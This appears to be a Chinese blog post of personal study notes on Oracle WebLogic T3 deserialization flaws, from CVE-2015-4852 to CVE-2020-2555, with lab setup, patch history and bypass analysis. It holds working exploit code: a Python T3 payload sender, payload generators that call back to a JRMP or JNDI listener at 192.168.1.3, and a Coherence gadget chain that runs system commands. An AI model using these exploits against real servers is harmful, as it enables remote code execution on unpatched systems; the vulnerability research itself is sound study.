前言
以下内容摘自:weblogic_百度百科 WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
与tomcat类似,都是中间件。区别是tomcat开源免费易用,而weblogic不开源不免费但是功能强大,各有千秋。
先看t3反序列化,后面再看xml的,仅仅是个人学习记录,没有太多的调试环节
环境搭建
使用了QAX-A-Team的自动搭建脚本(Weblogic环境搭建工具),很好用!其配套文章在这:WebLogic安全研究报告
直接执行 sh 脚本即可
构建并运行
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
访问 ip:port/console/login/LoginForm.jsp
远程调试
将Weblogic依赖拉出,并导入idea中
mkdir ./middleware
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
idea打开wlserver,导入其他的依赖
一共三个依赖。然后配置远程debug
仅需修改IP与端口。然后开启debug,出现下面提示即为远程debug链接成功
断点调试测试
在weblogic/wsee/jaxws/WLSServletAdapter.class#handle()
打上断
然后访问:http://192.168.74.131:7001/wls-wsat/CoordinatorPortType,即可命中断点
T3 反序列化漏洞
T3协议简介
weblogic对rmi规范的实现叫T3协议
T3传输协议是WebLogic的自有协议,它有如下特点:
- 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
- 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
数据包构成
WebLogic安全研究报告中写的更加详细,想了解的师傅可以去看看,我就不再“摘抄”了。
wireshark使用tcp.port == 7001
筛选出所需数据包ac ed 00 05
是反序列化标志,而在 T3 协议中每个序列化数据包前面都有fe 01 00 00
,所以 T3 的序列化标志为fe 01 00 00 ac ed 00 05
在qax的文章中还发现一个数据包可以存在多个序列化数据,这从T3的特点中也能理解,所以在发送序列化数据的时候可以替换其中的一个序列化数据包来达到反序列化攻击,借文中一张图
CVE-2015-4852
漏洞位置在 weblogic/rjvm/InboundMsgAbbrev.class#readObject()
跟进ServerChannelInputStream
可以看到其继承了ObjectInputStream
且重写了resolveClass()
,并且resolveClass()
没有任何防御直接链接了Class。链接完后返回进行反序列化
如果不晓得
resolveClass()
干啥的可以看看ClassLoader(类加载器)和Java 类加载机制分析
到这里sink点有了,缺少gadget。查看weblogic模块可以发现存在cc!且版本是存在rce的3.2.0
那么直接cc1的链子拼接到 T3 协议里面就行了
import socket
import sys
import struct
import re
import subprocess
import binascii
def get_payload1(gadget, command):
JAR_FILE = 'ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()
def get_payload2(path):
with open(path, "rb") as f:
return f.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)
print("send payload success~")
if __name__ == "__main__":
host = "192.168.74.131"
port = 7001
gadget = "CommonsCollections1" #CommonsCollections1 Jdk7u21
command = "touch /tmp/success"
payload = get_payload1(gadget, command)
exp(host, port, payload)
修复
和fastjson类似吧,一直放黑名单。基本都是在resloveClass前进行黑名单检测,检测到就抛异常。
黑名单用的李师傅的图
CVE-2016-0638
后面就是花式绕黑名单了
这个cve对我来说有意思的是反序列化调用了readExternal()
方法,这个方法是实现Externalizable接口必须重写的,它是Serializable接口的子接口,他俩区别是 图片摘自Java 序列化全解密,详细调用过程可以看JAVA反序列化的简单探究
写了一个小demo
import java.io.Externalizable;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;
/**
* ObjectA
*
* @author yq1ng
* @date 2022/1/23 22:41
* @since 1.0.0
*/
public class ObjectA implements Externalizable{
@Override
public void writeExternal(ObjectOutput out) throws IOException {
System.out.println("writeExternal......");
}
@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
System.out.println("readExternal......");
}
}
import java.io.*;
/**
* test
*
* @author yq1ng
* @date 2022/1/23 17:27
* @since 1.0.0
*/
public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectA objectA = new ObjectA();
System.out.println("writeObject......");
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(objectA);
System.out.println("readObject......");
ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
System.out.println(ois.readObject());
}
}
然后看这个cve,他是找了weblogic/jms/common/StreamMessageImpl.class#readExternal()
作为sink点
这个方法里面又再次进行了反序列化,那么可以把恶意gadget放进StreamMessageImpl让他在进行一次反序列化,这个cve也相当于二次反序列化。
看方法实现,我们只需要控制payload即可。跟进createPayload()
将读取到的Chunk进行反序列化
poc也很好实现,重写writeExternal()
的方法,将需要二次反序列化的数据写进去,然后再序列化类,可以看这个文章:忆——Weblogic CVE-2016-0638反序列化漏洞,不再赘述了。
修复
将ObjectInputStream
换成了FilteringObjectInputStream
,FilteringObjectInputStream
在resolveClass
的时候会检查是否存在黑名单里面
CVE-2016-3510
weblogic.corba.utils.MarshalledObject
不在黑名单中
修复
2016年10月 p23743997_1036_Generic:重写了resolveClass方法,加了过滤。
CVE-2017-3248
使用了jrmp进行rce
图片来源:https://y4er.com/post/weblogic-jrmp/
import socket
import sys
import struct
import re
import subprocess
import binascii
def get_payload1(gadget, command):
JAR_FILE = '/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()
def get_payload2(path):
with open(path, "rb") as f:
return f.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)
if __name__ == "__main__":
host = "127.0.0.1"
port = 7001
gadget = "JRMPClient" #CommonsCollections1 Jdk7u21 JRMPClient
command = "192.168.1.3:8080" #
payload = get_payload1(gadget, command)
exp(host, port, payload)
修复
p24667634_1036_Generic:官方的修复是新加resolveProxyClass
,过滤java.rmi.registry.Registry
CVE-2018-2628
上面只过滤了java.rmi.registry.Registry
,那只是原生的jrmp不能用了,提两个绕过。
- 看上面补丁,他补丁只打了
resolveProxyClass
,那么yso去掉proxy就行,这样反序列化的时候就会走resolveClass
,也就不会进黑名单了 - 寻找可替代的接口。廖新喜师傅的方式是使用
java.rmi.activation.Activator
来替代java.rmi.registry.Registry
生成payload
改造yso的payload可以看weblogic漏洞分析之CVE-2017-3248 & CVE-2018-2628
修复
2018年四月发布的p27395085_1036_Generic UnicastRef在weblogic.utils.io.oif.WebLogicFilterConfig中加进了黑名单
这个补丁似乎对上面两个方法都不奏效,原因是此补丁是专门针对lpwd师傅提交的漏洞的,文章链接:Weblogic JRMP反序列化漏洞回顾,黑名单嘛,见怪不怪了
CVE-2018-2893
streamMessageImpl + jrmp代理类绕过
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import java.io.*;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class CVE_2018_2893 {
public static void main(String[] args) throws IOException {
ObjID objID = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint tcpEndpoint = new TCPEndpoint("192.168.1.3", 8080);
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);//通过代理
Object object = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
StreamMessageImpl streamMessage = new StreamMessageImpl(serialize(object));
ser(streamMessage, "CVE_2018_2893.ser");
}
public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
}
CVE-2016-0638的修复中只对resolveClass
进行黑名单检查,没有对resolveProxyClass
进行黑名单检查,所以这次的payload使用了代理,这个很好理解。但是UnicastRef
在黑名单为什么还能用?来看RemoteObjectInvocationHandler
,这个类它继承自RemoteObject
,所以看RemoteObject#writeObject()
这里只写入了类名,并没有序列化这个类,然后去调用UnicastRef#writeExternal()
写入了host与port
修复
18年7月 p27919965_1036_Generic:这次修复把经过resolveClass的java.rmi.server.RemoteObjectInvocationHandler给过滤了
CVE-2018-3245
RemoteObjectInvocationHandler给ban了,那么找一个类似的替代,就像上面的jrmp一样,下面是lpwd师傅的话
那么这个类应该满足以下条件:
- 继承远程类:java.rmi.server.RemoteObject
- 不在黑名单里边(java.rmi.activation. 、sun.rmi.server.)
随便找了一下,符合条件的挺多的:
javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub ```java import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import java.io.*; import java.rmi.server.ObjID; import java.util.Random;
public class CVE_2018_3245 { public static void main(String[] args) throws IOException { ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(“192.168.1.3”, 8080); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); ReferenceWrapper_Stub wrapperStub = new ReferenceWrapper_Stub(ref); ser(wrapperStub, “CVE_2018_3245.ser”);
}
public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}
}
<a name="nGLlM"></a>
### 修复
2018年8月 p28343311_1036_201808Generic :修复方法是添加更底层的java.rmi.server.RemoteObject。
<a name="qL9VJ"></a>
## CVE-2018-3191
这次是 jndi,漏洞点在 JtaTransactionManager<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/21823809/1643443879306-7c82c87f-b93e-46fb-a9c1-5fbc6216cc82.png#clientId=uc9a4771b-cc7b-4&from=paste&id=ue0878034&margin=%5Bobject%20Object%5D&name=image.png&originHeight=184&originWidth=1151&originalType=binary&ratio=1&size=259984&status=done&style=none&taskId=u98ece28c-597a-44fc-9f19-a22716caf2a)<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/21823809/1643443910195-a2e52efa-d936-4983-b551-85b584857066.png#clientId=uc9a4771b-cc7b-4&from=paste&id=u4e08808d&margin=%5Bobject%20Object%5D&name=image.png&originHeight=264&originWidth=1114&originalType=binary&ratio=1&size=342430&status=done&style=none&taskId=u6c792988-54e0-4302-8168-c84fc7e9e5c)<br />看到lookup应该就懂了,继续跟下去也行<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/21823809/1643443953890-a0706e35-2a1f-4419-8b1b-8adbe6ade815.png#clientId=uc9a4771b-cc7b-4&from=paste&id=u06b44558&margin=%5Bobject%20Object%5D&name=image.png&originHeight=305&originWidth=1442&originalType=binary&ratio=1&size=481387&status=done&style=none&taskId=u09c8f227-7d31-4b4a-9016-ae174bf5946)<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/21823809/1643444001917-2df388aa-02e8-4c0d-a985-acb7ee941671.png#clientId=uc9a4771b-cc7b-4&from=paste&id=uaa5f0bc4&margin=%5Bobject%20Object%5D&name=image.png&originHeight=643&originWidth=1428&originalType=binary&ratio=1&size=1001621&status=done&style=none&taskId=u2a374a17-9358-4b94-9cb1-98eb6df6a90)<br />poc如下
```java
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class CVE_2018_3191 {
public static void main(String[] args) throws IOException {
String jndiAddress = "rmi://192.168.1.3:1099/Exploit";
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(jndiAddress);
ser(jtaTransactionManager, "CVE_2018_3191.ser");
}
public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}
}
修复
2018年8月 p28343311_1036_Generic:
CVE-2020-2555
Oracle Coherence组件存在漏洞,该组件默认集成在Weblogic12c及以上版本中(网上资料这么说的:web10.3.6也有只是默认没有启用,未验证)。 这个漏洞和cc5的构造有异曲同工之妙,触发点在BadAttributeValueExpException#readObject 中调用toString方法。
有点像cc5,触发toString、反射任意方法调用,具体分析可以看y4er师傅的:https://y4er.com/post/weblogic-cve-2020-2555/,我这就不去复制粘贴了
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
public class CVE_2020_2555 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//String cmd = "touch /tmp/CVE_2020_2555_12013";
String cmd ="calc.exe";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
//new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", cmd}})
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", cmd}})
};
// chain
LimitFilter limitFilter = new LimitFilter();
limitFilter.setTopAnchor(Runtime.class);
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, limitFilter);
ser(expException, "./CVE_2020_2555_12013.ser");
}
public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}
}
修复
总结
参考大师傅文章梳理完一遍之后,我们得以看到整个绕过思路的全貌。笔者主观分为三个阶段。
- 第一阶段,CVE-2016-0638和CVE-2016-3510。利用反序列化流程中新new的原生ois绕过,只要找到了read*系列的点可以比较容易的看出来。
- 第二阶段,cve-2017-3248到cve-2018-3191。利用jrmp、jndi带外rce,漏洞点没有在read*的代码上下文中需要多跟几步有点“pop”的感觉了。
- 第三阶段,cve-2020-2555,需要对java的反序列化出现过知识点很熟悉(java原生类的触发点+weblogic组件中类似cc的套路),据说这个漏洞的作者也挖了很久。